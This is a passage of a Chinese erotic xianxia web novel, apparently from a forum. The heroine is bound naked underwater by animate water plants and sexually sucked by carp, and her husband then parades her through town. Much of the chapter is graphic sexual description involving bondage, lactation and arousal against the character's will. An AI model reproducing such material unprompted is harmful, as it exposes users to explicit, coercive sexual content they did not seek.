  若是平日,许墨定然会红着脸半推半就地点头答应,甚至内心还会有些期待。但今日,她实在是被藤蔓“折腾”得身心俱疲,无论是身体还是精神都达到了极限,尤其下身那种微妙的黏腻感和被过度刺激后的敏感让她此刻对任何形式的束缚都产生了一丝抵触。
  她轻轻推开林烨,摇了摇头,语气带着前所未有的疲惫和一丝软弱的撒娇:“今晚……真的就算了吧,好老公。墨……墨好累,浑身都像散了架,那里……也有些不适。只想好好洗个热水澡,然后睡一觉。”
  说完,她挣脱林烨的怀抱,转身快步走向浴室,似乎想尽快洗去一身的疲惫、汗水和那难以启齿的羞耻痕迹。很快,浴室里传来了哗啦啦的水声。
  林烨看着许墨有些仓惶的背影,摸了摸下巴,非但没有失望,反而露出了一个更加意味深长的笑容。
  “我该告诉她……那是能干掉筑基后期修士的蚀骨藤么……算了,就这么着也挺好。嘿嘿嘿……不知道她在两界山这个堪比交界地的鬼地方打通关成为艾尔登之王以后出山发现全天下就她一个魂玩家会是啥反应,不过要的就是这个效果,嘿嘿嘿嘿……”
  林烨看向蒸汽氤氲的浴室,脸上笑容愈发的猥琐,然而此刻的许墨并不知这家伙心里正在想着什么,只以为夫君又是日常馋自己身子。
  许墨在热水中浸泡了许久,直到感觉身上的酸痛和不适缓解了不少,才擦干身体,换上一身干净的寝衣。回到卧室,她几乎是头一沾到枕头,无边的疲惫便如同潮水般将她淹没,连林烨何时悄悄上床,从身后温柔地拥住她都毫无察觉,直接陷入了无比深沉、连梦境都没有的睡乡之中。

凡人修仙传
忘语
修仙觅长生,热血任逍遥,踏莲曳波涤剑骨,凭虚御风塑圣魂! ...

天空之城 / 发表于: 2025/10/14 04:44:04

第4章 水草驷马紧缚,锦鲤暴风吸乳
  清晨,第一缕微光尚未完全驱散夜的沉寂许墨便从睡梦中自然醒来。空气中带着一丝凉意,屋子里显得些许冷清。
  林烨昨夜便已告知有事需外出处理,今日并不在家。
  少了夫君的陪伴和那令人安心的气息,屋内显得有些空旷寂静。
  许墨拥被坐起慵懒地伸了个懒腰,丝绸寝衣滑落,露出圆润的肩头。
  她下意识地伸手抚上自己胸前那对日渐丰硕的玉峰,指尖传来微微的胀满感。
  若是平日,此刻正是她为夫君准备“灵乳摩卡”的时候,揉捏挤压之下,那微胀感便会转化为泌乳时的酥麻与释放。
  但今日夫君不在,她思索片刻觉得这点胀感尚可忍耐,不如等晚上夫君归来再一并挤出,或许分量更足,滋味也更醇厚?
  想到晚上可能发生的旖旎,她脸颊微红,轻轻揉了揉双乳便起身下床。
  许墨简单冲洗训练之后再次换上前一日那身清爽的运动服走出家门。
  因着林烨不在,她今日出门极早,天际才刚刚泛起鱼肚白,桃源镇还笼罩在一片静谧的晨雾之中。
  街巷上空无一人,只有偶尔几声早起的鸟鸣。
  当她路过镇中心那棵巨大的榕树时,却意外地看到青岑先生已然端坐在树下的石凳上,双目微阖,仿佛与这古树和晨雾融为一体。
  许墨连忙上前,恭敬地行了一礼:“青先生早安。”
  青岑缓缓睁开双眼,清澈而深邃的目光落在许墨身上,带着一丝不易察觉的笑意:“许墨姑娘,早。观你气息,最近几日在青木谷训练步法虽有些波折,但躲闪腾挪之能倒是进步神速。”
  许墨想到第一日时被藤蔓戏弄的狼狈,脸上微热,赧然道:“先生过奖了,只是……被迫无奈,胡乱闪躲罢了。”
  青岑微微颔首,语气平和却带着点拨之意:“躲避固然是求生之法,但为何不尝试与它们战而胜之呢?一味闪避终非长久之计。”
  许墨闻言一愣,眨了眨美眸,有些不确定地问道:“战而胜之?先生的意思是……那些藤蔓,是可以打的吗?”
  在她潜意识里,那些是桃源镇的“生灵”,又是夫君所说的“无害”精怪,她从未想过可以主动攻击。
  青岑淡然一笑,仿佛在说一件再平常不过的事情:“不过是些灵智未开、仅凭本能行事的草木之灵罢了。即便损失些许也不过是回归山林化作春泥,你不必有什么心理负担。今后在这两界山地带遇到何事何物,若其主动为敌,需战便战,需杀便杀。真正不能杀、不该杀的,他们自会与你分说。”
  许墨若有所悟,点头应允:“晚辈明白了,多谢先生指点。” 但随即她又露出一丝苦笑,无奈道:“只是……晚辈如今实力低微,即便有心战斗恐怕也没有足以应对那些藤蔓的手段。”
  她所学的,不过是林烨随手教的几招粗浅格斗和那套“流云步”,并无真正的攻伐之术。
  青岑闻言,只是笑而不语,目光投向许墨身后。
  就在这时,许墨突然感到一股微凉的、带着馥郁香风的柔软触感从背后贴了上来!
  一双藕臂如同水蛇般环住了她纤细的腰肢,甚至有些不老实地在她平坦的小腹上轻轻摩挲。
  紧接着,一个慵懒而媚意入骨的声音在她耳边响起,湿热的气息吹拂着她的耳廓:“哎哟,我的好妹妹,何必如此死脑筋呢~”
  来人正是茶馆老板娘幽漪。她今日穿着一身剪裁合体的黑色绣金边旗袍,将丰腴妖娆的身段勾勒得淋漓尽致。
  “没有手段,去打造一件趁手的兵器不就行了?找那铁匠铺的厉锋师傅帮忙,他可是此道高手哦。”
  许墨被这突如其来的亲密接触弄得身体一僵,但奇怪的是,幽漪贴在她后背的身体虽然冰凉,却有种奇异的舒适感,仿佛能安抚心神,滋养魂灵。
  她定了定神,得体地轻轻拿开幽漪在自己腰腹间摸摸索索的双手,转过身,对上了那双风情万种的桃花眼,行礼道:“幽漪前辈。”
  幽漪却撅起了红唇,不满地娇嗔道:“什么前辈不前辈的,多见外!妹妹既然入了我们桃源镇,那就是一家人了。今后要叫我姐姐,明白吗?” 她伸出纤长的手指,轻轻点了点许墨的鼻尖。
  许墨从善如流,乖巧改口:“是,幽漪姐姐。”
  幽漪这才转嗔为喜,笑靥如花,继续之前的话题:“不过妹妹顾虑得也对,在这桃源镇,要想获得什么,总得拿出对等的东西交换才是。直接去拜托厉锋那傻大个打造兵器,确实有些唐突。”
  她眼波流转,闪过一丝狡黠,“不过嘛,姐姐我倒有个主意。那傻大猫……咳咳,厉锋师傅,别看他一副硬汉模样,其实最爱吃鱼,尤其是黑水涧里那些肥美的大鲤鱼。他三天两头就跑来我的茶馆,涎着脸问我讨要,但我偏不给他,馋死他!妹妹你若是有本事,去黑水涧钓上条肥美的大鲤鱼送他,他定然乐意帮你,说不定一高兴,连压箱底的武术功法都肯传授你几手呢!”
  “钓鱼?”
  许墨眨了眨眼,这倒是她从未尝试过的事情。
  “没错~”
  幽漪变戏法似的从双乳之间的缝隙里抽出一卷略显陈旧的羊皮地图,展开指着上面一处标记,“喏,这是姐姐我多年养殖……呃,观察总结出的绝佳钓点,名为‘鱼跃潭’。此地远离黑水涧主干流,水流平缓,水草丰茂,鱼群聚集。只需用最普通的蚯蚓做饵,便有极大机会钓上大鱼。妹妹不妨先去那里试试手气。”
  许墨接过地图仔细看去,鱼跃潭位于青木谷外围边缘,靠近黑水涧源头的一处山脚下,环境清幽,四周地势平缓,植被茂密,看起来确实是个安静垂钓的好去处。她心中感激,再次向幽漪行礼:“多谢幽漪姐姐指点。”
  幽漪满意地点点头,又凑近低声道:“好妹妹,放心去钓,那潭里的鱼儿虽有些力气,但灵智不高,以你的能耐,定能手到擒来。”
  说完,她对一旁早已重新闭目养神的青岑挥了挥手,“青木头,早啊,我带我妹妹玩去了~”
  便扭动着水蛇腰,袅袅婷婷地回她的茶馆去了。
  青岑对此只是眼皮微抬,平和地回了声“早”,便再无反应。
  许墨收好地图,心中有了计较。
  她向青岑道别后便运转流云步,身形轻盈地朝着青木谷方向疾驰而去。
  再次奔跑在山林间,她明显感觉到与昨日的不同。
  那些翠绿的藤蔓依旧会在她经过时悄然摆动,试图干扰,但不再是那种充满攻击性和戏弄意味的缠绕,更像是熟稔之后的“打招呼”或小小的“恶作剧”。许墨对此早已熟悉,心念微动,步法愈发灵动,如同穿花蝴蝶般在摇曳的藤蔓间辗转腾挪,竟有种行云流水般的畅快感。
  她很快便按照地图指示来到了鱼跃潭附近,尚未靠近便已听到淙淙的水声。
  绕过一片茂密的竹林,眼前豁然开朗。一汪清澈见底的潭水如同镶嵌在山谷中的碧玉,静谧而灵动。
  活水从山脚下一处泉眼汩汩涌出,注入潭中,又从不远处的缺口缓缓流出,确保潭水常换常新。
  潭边是一片宽阔的石滩,鹅卵石铺满了地面,光滑圆润。
  许墨走近水边,俯身掬起一捧清冽的潭水洗脸,顿觉神清气爽。她好奇地捡起脚边一枚鹅卵石,入手温润,仔细感应之下,竟惊讶地发现这看似普通的石头内部,蕴含着颇为精纯的灵力!虽不及上品灵石,但也远非凡石可比。
  这鱼跃潭,果然是个宝地!
  她欣喜之下,干脆脱掉了运动鞋和短袜,露出一双白皙精致的玉足,赤脚踩在铺满灵石卵石的河滩上。微凉而光滑的触感从脚底传来,同时还有丝丝缕缕温和的灵力透过足底穴道渗入体内,舒服得她几乎要呻吟出来。
  她索性在河畔找了处平坦的地方,就地盘膝打坐调息,借助此地浓郁的灵气和水灵之力,巩固修为,消除一早奔波的疲惫。
  约莫一刻钟后,许墨缓缓睁开双眸,只觉周身灵力充盈,状态前所未有的好。
  就在这时,她惊讶地发现,距离她不远的岸边不知何时竟摆放好了一副完整的钓具——一根看起来颇为结实的竹制钓竿,一个小马扎,旁边还放着一个打开的小木盒,里面满是还在蠕动的红蚯蚓。
  最奇特的是,小马扎上还插着一块小木牌,上面写着一行歪歪扭扭的大字“按F拾取钓具”那木牌款式过去还写过“通下水道屋顶补漏”之类,许墨当然猜得出这是谁的手笔,不由得心中一暖。
  她走上前拿起鱼竿,穿上蚯蚓,然后坐在小马扎上,学着记忆中模糊的钓鱼姿势,将鱼钩抛入了波光粼粼的潭水中。
  起初她还有些生疏和焦急,但很快,潭边的宁静与祥和感染了她。
  耳边只有潺潺的水声、清脆的鸟鸣,鼻尖是湿润的水汽和草木清香。她专注于水面上那小小的浮漂,心神渐渐放空,杂念尽消,仿佛与这天地自然融为了一体。
  她忽然意识到,这种专注、这种心无旁骛的等待,本身何尝不是一种修行?是对心性的磨练,对“静”的领悟。
  然而,这份恬静并未持续太久。就在许墨沉浸在这种玄妙的放空状态时,手中的鱼竿猛地向下一沉!一股巨大的、远超她想象的力量从水下传来,猝不及防之下,她整个人都被拖得向前一扑!
  “哎呀!”许墨惊呼一声,下意识死死抓住鱼竿。
  但那力量实在太恐怖了,简直不像是一条鱼,更像是一头水下蛮牛!她练气圆满的力气在这股力量面前竟然显得如此渺小,竹制的鱼竿被拉成了一道惊心动魄的弧线,然后脱手而出,连带着她整个人都被那股巨力拖着,“噗通”一声栽进了齐腰深的浅滩里!
  冰冷的潭水瞬间浸透了运动服,许墨狼狈不堪地从水里站起来,呛咳了几下,心中再次被震惊和一丝荒谬感充斥:自己难道真的这么弱?打不过青木谷的藤蔓也就罢了,难道连这水潭里的鱼都打不过?!
  还没等她从这打击中回过神来,异变再生!
  几根柔韧的水草如同活物般,迅速缠绕上了她的脚踝和小腿,试图将她拖向更深的水域。许墨心中警铃大作,奋力挣扎,但水草的力量同样不容小觑。
  情急之下,她也不知哪来的勇气,或许是青先生的话起了作用,她索性站定朝着水面高喊一声:“等一下!”
  令人惊讶的是那些水草竟真的应声停止了拖拽,只是依旧缠绕着她的双腿,仿佛在等待她的下一步动作。
  许墨看着不再用力的水草,又看了看飘在不远处水面上的鱼竿,心中蓦地闪过一丝明悟:这……难道又是某种形式的“试炼”?就像青木谷的藤蔓一样?
  她定了定神,想起林烨给她的那个被称为“避水珠口球”的奇特呼吸器。她从湿透的运动服口袋里摸出那个小巧的、带有咬合球的法器,略一犹豫,便将其戴入口中。顿时,一股清凉的气息涌入喉管,确保了她在水下的呼吸无虞。
  既已下定决心接受试炼,她便不再犹豫。
  她费力地走到岸边,将身上湿透的运动外套、长裤以及里面的运动文胸和内裤逐一脱下,仔细叠好,与先前脱下的鞋袜放在一起。顿时,一具白皙玲珑、毫无遮掩的青春胴体暴露在晨光与水汽之中,胸前两点樱红因冷水的刺激而微微硬立,双腿间的神秘幽谷若隐若现。
  她深吸一口气,转身再次步入潭中,直到水深及胸。然后,她张开双臂,闭上双眼,仿佛在迎接什么。
  果然,就在她放弃抵抗的瞬间,无数更加粗壮、柔韧的水草从潭底激射而出,如同编织一张绿色的大网,瞬间将她层层包裹!这一次的束缚比昨日的藤蔓更加彻底,水草巧妙地缠绕着她的手腕、脚踝、腰肢、大腿,甚至颈项,然后一股巨力传来,将她猛地拉入更深的水下,同时强行将她的身体弯曲、折叠成一个极其羞耻且高难度的姿势——双腿并拢向上弯曲,双臂被反剪到背后双手合十的后手观音式,整个脊柱反向弯曲直到她那双白皙的玉足几乎要贴到自己的后脑勺!形成了一个完美的、被紧紧捆绑的“驷马倒攒蹄”的环形姿势!
  冰冷的潭水包裹着全身,水草勒紧的疼痛和强烈的窒息感让许墨心中难免恐惧,尽管有避水珠含在口中,但这种被紧紧束缚的感觉依然带来心理上的窒息,加之身体被极限扭曲的羞耻感瞬间淹没了许墨。
  她吓得心脏狂跳,但有了上次的经验,她强迫自己冷静下来努力适应着这种被完全掌控的状态。
  渐渐地,最初的恐惧过去,她开始能够分心观察周围。
  鱼跃潭的水下世界竟是另一番瑰丽的景象。
  阳光透过清澈的水面,投射下摇曳晃动的光斑,如同梦幻的舞台灯光。
  水草丰茂,随着水流缓缓摇曳,如同水下森林。
  无数色彩斑斓的鱼群在她身边悠然游弋,巴掌大的螃蟹在石缝间横行,硕大的田螺吸附在水草茎叶上。
  这一切是如此宁静、美丽而充满生机,与她被紧紧束缚的狼狈形成了鲜明对比。
  一时间,许墨竟然忘却了身体的疼痛和羞耻,被这神奇的水下世界深深吸引。
  她感受到水中蕴含的柔和而滋养的力量,对水属性的亲和与理解,似乎在这静谧的观察中有了些许模糊的感悟。
  然而,这份宁静很快被打破。
  两条体型硕大、通体呈灿烂金色、胖乎乎圆滚滚的鲤鱼(目测至少有七十厘米长),气势汹汹地朝着她游了过来!其中一条的嘴角,还赫然挂着她那枚鱼钩!
  许墨心中暗道一声“不好!”
  果然,那两条胖头鱼围着她被捆绑成“O”形的身体游了几圈,鱼眼里似乎还带着怒气,然后开始故意用身体撞击她,或用尾巴搅动水流,让她在水中晃动不止,难以保持平衡。
  许墨在心中无奈地哀叹:“别闹了别闹了,对不起嘛,我不是故意要钓你的……”
  但她的意念哀求如同投入深潭的石子,只激起微不足道的涟漪,转瞬便被鱼儿本能的行为吞没。那两条胖头鱼见她除了无助地漂浮外再无其他反应,行为顿时更加肆无忌惮。它们炫耀般地甩动着脑袋轻而易举地将那微不足道的鱼钩从嘴角甩脱,然后摆动着肥硕的金色身躯,一左一右,如同两位默契的掠食者,精准地游弋到许墨因身体极限反弓而被迫高高挺起、毫无遮掩的胸前。
  许墨那对丰盈玉峰,此刻正毫无防御地迎接着冰冷的潭水和未知的侵犯。
  经过灵乳滋养和连日锻炼,它们不仅尺寸傲人,形态更是饱满挺翘,如同熟透的蜜桃,弧线完美。
  顶端的蓓蕾因冷水的持续刺激和先前水草摩擦的微妙挑逗,早已变得坚硬如石,呈现出诱人的深粉色傲然矗立在微微勃起的乳晕之上,仿佛在无声地邀请着某种蹂躏。
  两条鱼睁着圆溜溜、毫无情绪的眼睛,张开那肉嘟嘟、形似吸盘、内里光滑无齿的圆形大嘴,带着一种近乎贪婪的姿态,猛地一口,同时精准地含住了那两粒最为敏感、最为脆弱的尖端!
  “!!!”
  许墨瞬间瞪大了美眸,瞳孔因极致的震惊和羞耻而急剧收缩!
  一股极其强烈、复杂到难以形容的感官风暴,如同高压电流般从双侧乳尖炸开,瞬间席卷了她的全身每一寸神经末梢!
  鱼嘴内壁是意想不到的、带着细微颗粒感的温热滑腻,与周遭冰凉的潭水形成尖锐对比。
  那强有力的吮吸动作不仅是对乳头的物理压迫,更像是有无数张微小而贪婪的嘴在同时啃啮、舔舐着那最为娇嫩的部位。
  湿滑的鱼唇紧紧箍住乳晕根部,带来一种被牢牢锁死、无法挣脱的禁锢感。
  最初的吮吸力道极大,让许墨感到尖锐几乎要撕裂般的刺痛,她纤细的身体在水下剧烈地一颤。
  但这刺痛之中,又诡异地混杂着一种深层次的、磨人般的酥麻。
  那酥麻感如同无数细小的电流,从被吮吸的乳尖为核心,凶猛地向着四周辐射——窜入胸腔,冲击着心脏,使得心跳狂乱如擂鼓;随后又向下涌入小腹,在那最隐秘的三角地带点燃一簇陌生的、灼热的火苗;甚至沿着脊柱一路冲上头顶,让她一阵阵眩晕。这种痛与快感的交织,比单纯的疼痛更令人崩溃,也更令人沉沦。
  透过微微荡漾的清波,她可以清晰地看到自己雪白胸脯上如同镶嵌了两团硕大的、蠕动的金色异物。
  鱼儿吮吸时,腮帮有力地鼓动,甚至能感觉到它们喉咙吞咽的动作。
  这画面带来的视觉冲击与羞辱几乎要将她淹没。她拼命想要扭动腰肢,蹬动双腿挣扎,但身体被水草以极其羞耻的“驷马倒攒蹄”姿势紧紧束缚,每一个关节都被锁死,连最微小的晃动都难以做到,更别提摆脱这荒诞的侵犯了。
  她就像一件被精心捆绑在水下的祭品,只能被动地奉献出自己最私密的部位,供这两条莫名其妙的鱼儿肆意享用。
  她戴着那冰冷的避水珠口球只能从喉咙深处发出模糊而压抑的“呜呜”声,这声音被水流吸收,更显得绝望而徒劳。
  泪水不受控制地涌出,迅速融入了周围的潭水中。
  心中充满了巨大的羞愤、无助,以及一丝连她自己都不愿承认的、被这强制性的刺激所引燃的生理悸动。
  那两条胖头鱼似乎彻底迷恋上了这种独特的“美味”和吮吸带来的满足感,它们吸吮得越发卖力,节奏急促而有力。许墨敏感至极的身体,在这持续不断、强而专一的刺激下,产生了连她自己都感到恐惧的变化。乳尖在鱼嘴的蹂躏下,不仅没有软化,反而变得更加硬挺、肿胀,仿佛所有的神经都集中到了那两点之上。一种熟悉的、深藏在乳腺深处的酸胀感开始弥漫开来——那是泌乳的前兆!似乎再这样下去,她那本该只属于夫君的甘甜乳汁,就要在这羞耻万分的情形下,被这两条贪婪的鱼儿强行榨取而出!
  这个念头让她羞得全身肌肤都泛起了一层娇艳的桃花粉色,尤其是在水波的映衬下,这具被紧紧束缚的赤裸胴体更显得楚楚可怜又异常情色。偏偏她动弹不得,连并拢双腿遮掩最私密处都做不到,只能最大限度地敞开着身体,任由冰冷的潭水拂过肌肤,任由那两条鱼如同最霸道的婴儿般,在她最骄傲的双峰上,进行着这场单方面的、荒淫无度的“盛宴”。
  极致的羞耻与不断累积的、违背意志的生理快感,如同冰与火在她体内交织、碰撞,几乎要将她的理智彻底撕裂。
  就在这时,她感到捆绑自己的水草似乎松动了一些。她尝试着轻轻挣扎,果然,水草不再那么紧绷,让她得以稍微活动。她心中升起希望,开始努力扭动身体,试图挣脱束缚,同时也要忍受着胸前两条鱼持续不断的、越来越用力的吮吸。
  费了九牛二虎之力,她终于完全摆脱了水草的缠绕。
  但那两条胖头鱼却像是尝到了天大的甜头,死死叼住她的乳头怎么也不肯松口,依旧拼命吮吸着,鱼尾还不停地摆动,试图将她重新拉回水中许墨又羞又急,双手徒劳地试图推开这两条黏人的胖头鱼,但那鱼儿吸得极紧,她稍一用力,乳头便被拉扯得生疼,反而刺激得鱼儿吮吸得更起劲,甚至发出了“啧啧”的水声。
  她感觉自己胸前的两团软肉仿佛不再是自己的,而是变成了这两条鱼的专属奶瓶。
  冰冷的潭水与鱼儿口腔的温热、吮吸带来的刺痛与酥麻交织在一起,形成一种极其怪异而又难以抗拒的感官风暴,冲刷着她紧绷的神经。
  “不能再待在水里了!”
  许墨心中决断,她忍着胸前传来的阵阵异样感奋力划动四肢,带着这两个沉甸甸的“挂件”狼狈不堪地向岸边游去。
  每一下动作,都牵扯着被吮吸的乳尖,带来一阵阵让她脸红心跳的刺激。
  好不容易爬上岸,浑身湿漉漉地滴着水,赤裸的身体暴露在空气中激起一层细小的鸡皮疙瘩。
  可那两条金色鲤鱼依旧不离不弃,如同长在了她胸口一般,兀自吮吸得欢快,鱼尾还在有力地拍打着她的胸脯和小腹,发出“啪啪”的声响。
  许墨欲哭无泪。
  这副模样怎么可能回桃源镇?
  但将这两条鱼强行扯下,且不说能否做到,那撕扯的剧痛也让她望而却步。
  她环顾四周,目光落在自己叠放整齐的衣物上。一个无奈又羞耻到极点的念头涌上心头。
  她先是艰难地穿上湿透的内裤和鞋子,然后拿起那条黑色的运动长裤。她将裤脚处的绳子打了个结,使得两条裤腿分开成袋子。接着她咬紧牙关,小心翼翼地将一边裤腿套住一条鱼和它正在吮吸的那只乳房,另一条裤腿也如法炮制。
  裤子湿透的布料紧紧包裹住鱼身和她的半侧胸脯,形成了一种怪异的束缚,虽然依旧能感受到吮吸,但至少避免了鱼儿完全暴露在外胡乱扑腾。随后,她将白色运动外套系在腰间,垂下的部分刚好能兜住两条鱼的下半身,防止它们过度下垂牵扯乳头。
  就这样,许墨创造了一个前所未有的鱼篮子——胸前挂着两个被黑色湿裤子紧紧包裹、仍在不断蠕动吮吸的“大包袱”。每走一步,鱼儿的扭动和吮吸都清晰可感,乳尖传来的混合着疼痛与快感的刺激让她步履维艰,脸颊红得几乎要滴出血来。
  她只能微微弓着腰,双手下意识地虚托着胸前的重负,一步步沿着青木谷外围的道路,朝着桃源镇的方向挪去。
  回去的路显得格外漫长。路旁的草木似乎比平日更加“活跃”,她分明能感觉到自己每走过一段两旁的枝叶都在剧烈地颤抖,仿佛在压抑着惊天动地的狂笑。
  甚至有几株特别“活泼”的狗尾巴草,笑得直接弯下了腰,穗子都快垂到了地上。许墨羞愤地低着头,恨不得找个地缝钻进去,只能在心中默默祈祷千万别遇到任何人。
  然而,天不遂人愿。
  当日头西斜,她终于挪到桃源镇边缘时,一道熟悉的身影正从镇子里快步走出,似乎正要寻她。正是办完事归来的林烨!
  林烨一眼就看到了许墨这副前所未有、滑稽又香艳的造型,先是一愣,目光在她胸前那两个不断扑腾的包裹和她羞愤欲绝的脸上来回扫了几遍。
  随即,他像是被点了笑穴一般,毫无形象地爆发出惊天动地的大笑,直接捂着肚子蹲在了地上,一边笑一边捶地,眼泪都飙了出来。
  “哈哈哈哈哈——哎哟我的娘诶!墨、墨宝儿……你、你这是……哈哈哈哈……!哈哈哈哈——”
  许墨看到夫君,原本是又委屈又安心,可见他笑得如此夸张,顿时那点安心全化作了羞恼。
  她眼圈一红,带着哭腔道:“别笑了!夫君你还笑!我、我都快被这两条蠢鱼吸干了!”
  林烨好不容易止住一点笑声,从地上爬起来,走到许墨身边依旧忍俊不禁,脸部肌肉抽搐不止。
  他伸出手,小心翼翼地解开许墨系在腰间的外套,然后轻轻褪下那两条已经浸满鱼腥味和奶渍的湿裤子。
  两条金色大鲤鱼一脱离束缚,扑腾得更厉害了,嘴巴依旧死死含着乳头不放。
  林烨眼神一凝,伸出两根手指,快如闪电般在两条鱼的鳃盖后某个位置轻轻一捏。那两条鱼身体猛地一僵,鱼眼瞪得溜圆,随即仿佛被施了定身法一般瞬间停止了所有动作,嘴巴也自然而然地松开了。
  许墨顿时感到胸前一阵轻松,但随之而来的是被长时间吮吸后的剧烈麻木和刺痛感。
  她低头一看,两颗原本粉嫩的乳头此刻已经变得红肿不堪,颜色深紫,如同熟透的葡萄,还在滴着乳白色的奶水,哪怕轻轻一碰就疼得她倒吸一口凉气,眼泪终于忍不住在眼眶里打转。
  林烨见状,连忙收起玩笑之色,心疼地揽住她的肩膀,在她额头上印下轻柔一吻,安慰道:“好了好了,不哭不哭,是夫君不对,不该笑那么大声。不过墨宝儿,你知道吗?你今天的战绩要是让镇子里那些空军佬们知道,非得羡慕得眼珠子掉出来不可!尤其是某个家伙……”
  他指了指铁匠铺的方向,“走走走,我们回镇子,让大家都看看我家墨宝儿的厉害!”
  许墨揉了揉依旧麻木刺痛的胸部,穿上之前脱下的运动文胸将外套重新穿好,虽然遮挡了身体,但胸前被过度吮吸后的胀痛感和心理上的羞耻感依旧强烈。
  林烨却兴致勃勃地将两条僵直的大鲤鱼用草绳从鱼鳃处穿好,递给许墨:“来,拿好,这是你的战利品,当然得你自己拿着展示!”
  说完,他也不管许墨愿不愿意,拉着她的手,故意绕着桃源镇最热闹的几条街巷走了一圈又一圈。
  此时已是傍晚,炊烟袅袅,不少村民正在家门口忙碌或闲聊。
  看到许墨手里拎着两条金光闪闪的大鲤鱼,无不投来惊讶和羡慕的目光,啧啧称奇。
  “哎呀!许墨姑娘,这、这是黑水涧的金鳞鲤吧?好家伙,这么大!”
  “了不得啊!我钓了三年都没见过这么大的!”
  “巨阳家的道侣可真是好本事!”
  就连一直在大槐树下闭目养神的青岑先生,看到那两条鱼也罕见地睁大了眼睛,眉头挑得老高,脸上写满了惊奇,仿佛在说“这怎么可能”。
  路过幽漪的茶馆时,许墨特意走了进去。
  茶馆里灯火通明,幽漪正倚在柜台边拨弄算盘。
  看到许墨和她手里那两条显眼的大鱼,尤其是捕捉到许墨脸上尚未完全褪去的红晕和一丝不自然,幽漪先是一愣,随即像是明白了什么,立刻用手帕掩住嘴,但肩膀却控制不住地剧烈抖动起来。
  许墨上前行礼:“幽漪姐姐,多谢你的地图,我……我钓到鱼了。”
  幽漪好不容易压下笑意,放下手帕,露出一张忍俊不禁的俏脸:“谢什么呀,我的好妹妹!姐姐给你地图,本就是一份心意。只是……只是没想到……妹妹你……噗哈哈哈哈!”
  她终究是没忍住,爆发出初似银铃但渐渐越来越像像是猪叫般的大笑,笑得花枝乱颤,趴在柜台上直不起腰,“不行了不行了……妹妹你真是太有意思了……这法子……噗哈哈哈……”
  许墨被笑得面红耳赤,正不知该如何是好,突然听到身后传来一个低沉而充满困惑的声音:“墨姑娘。”
  许墨转身,只见铁匠铺的厉锋师傅不知何时站在了茶馆门口。
  这位平日里眼神锐利如刀的白发壮汉此刻脸上却不见了那股锋锐之气,取而代之的是一种混合着极度羡慕、巨大困惑和强烈求知欲的复杂表情。
  他目光灼灼地盯着许墨手里的两条大鱼,喉结甚至不自觉地滚动了一下,仿佛在吞咽口水。
  “厉锋师傅。”许墨微微欠身行礼;白发壮汉上前一步,语气异常诚恳,甚至带着一丝请教的味道:“墨姑娘,你……你初次垂钓便能钓上如此罕见的金鳞大物,实在是……令人佩服!不知……不知姑娘是用何种秘饵?何种技法?能否……能否传授厉某一二?厉某感激不尽!”
  他说得极为认真,显然是将许墨当成了深藏不露的钓鱼高手。
  许墨听到这个问题,瞬间,整张脸“轰”地一下变得通红,从额头一直红到脖颈,连耳朵尖都像要滴出血来!
  她张了张嘴,却一个字也说不出来,那种羞愤和尴尬简直无以复加。
  而她的身后,刚刚缓过劲来的林烨和还在狂笑的幽漪听到厉锋这“灵魂一问”,仿佛炮弹砸进火药库引发了二次殉爆,两人瞬间爆发出更加夸张、几乎要冲破天际的二重狂笑!
  “哈哈哈哈哈——秘饵!技法!哈哈哈嗝——咳咳咳咳!我不行了!啊……”
  林烨笑得直接滑坐在地上,捶着地板,上气不接下气地喊着,“钓鱼佬永不空军!哈哈哈……厉锋你你想学啊?哈哈哈……我教你啊……前提是你得有墨宝儿那‘本钱’!哈哈哈——”
  幽漪更是笑得直接从柜台后跌了出来,毫无形象趴坐在地上,双腿乱蹬,拍着地面,眼泪狂流,话都说不连贯了:“哎哟喂……笑死我了……厉锋……你、你……你没戏了……哈哈哈……”
  厉锋被这两人笑得莫名其妙,浓密的眉毛拧成了疙瘩,不满地哼了一声:“巨阳!幽漪!你们两个搞什么名堂?聒噪得很!”
  但他还是将期待的目光投向许墨,显然不死心。
  许墨深吸一口气,强忍着几乎要爆炸的羞耻心,将其中一条稍大些的金鳞鲤递向厉锋,声音细若蚊蚋:“厉、厉锋前辈……钓鱼的方法……晚辈……晚辈实在难以启齿。这条鱼,送给前辈,希望能……能和前辈换一件趁手的兵器。”
  厉锋看着递到眼前肥美无比、鳞片金光闪闪的大鱼,眼睛顿时亮了起来,毫不犹豫地接过,掂量了一下,脸上露出满意的神色。
  他虽仍有困惑,但似乎也意识到许墨的“钓法”可能涉及独特天赋。于是他点了点头,沉声道:“原来如此。看来许墨姑娘对垂钓之道自有玄妙领悟,难以言传,这也正常,毕竟垂钓本就讲究机缘与悟性。既然姑娘不便明说,那厉某也不强求。不过……”他话锋一转,带着一丝期待,“下次姑娘若再有兴致垂钓,可否带上厉某?让厉某也好观摩学习,实践一番?”
  他这话一出,身后刚缓过一点气的林烨和幽漪,再次笑得瘫倒在地,几乎要背过气去,已经双双翻着白眼蹬着腿,看着像是被鲁提辖暴打了一顿的镇关西一样。
  厉锋被他们笑得有些恼火,但又惦记着赶紧回家把鱼下锅,便对许墨说道:“巨阳和幽漪这两人今日不知发的什么疯!姑娘不必理会。你既以金鳞鲤相赠,厉某自然不会白收。姑娘只需去锐金山脚下寻一块‘幽冥玄铁’来,厉某必倾尽全力,为你锻造一把真正契合你、可堪一用的神兵利器!”
  说完,他像是怕林烨他们再说什么怪话,对许墨点了点头,拎着那条大鱼,脚步匆匆地离开了,显然是迫不及待要回去享用美味。
  许墨看着厉锋离去的背影,总算松了口气,但脸上的红晕久久未散。
  她转身回到茶馆,看着地上两个笑得东倒西歪、形象全无的“混蛋”,无奈地叹了一口气,走到林烨身边,轻轻踢了踢他的小腿:“老公,别笑了……教我做鱼好不好?这剩下的一条,我们晚上吃。”
  幽漪一听,立刻从地上爬了起来,虽然眼角还带着笑泪,但语气恢复了往常的妩媚与热情:“哎哟,这可不行!墨儿妹妹今天又是下水又是被……咳咳,总之累了一天了,哪还能让你下厨?快随你家夫君回去,好好沐浴更衣,解解乏。这鱼啊,就交给姐姐我茶馆的厨房料理,保证做得鲜美无比!等你们收拾妥当了,再来姐姐这儿,我们一同用晚膳!”
  许墨此刻确实觉得浑身疲惫,尤其是胸部依旧隐隐作痛,便从善如流,点头答应了。
  林烨也止住了笑,站起身,揽住许墨的腰,对幽漪笑道:“那就麻烦幽漪姐了。”
  “跟我还客气什么~快带墨儿妹妹回去吧!”
  幽漪挥着手帕,笑吟吟地将他们送出门。
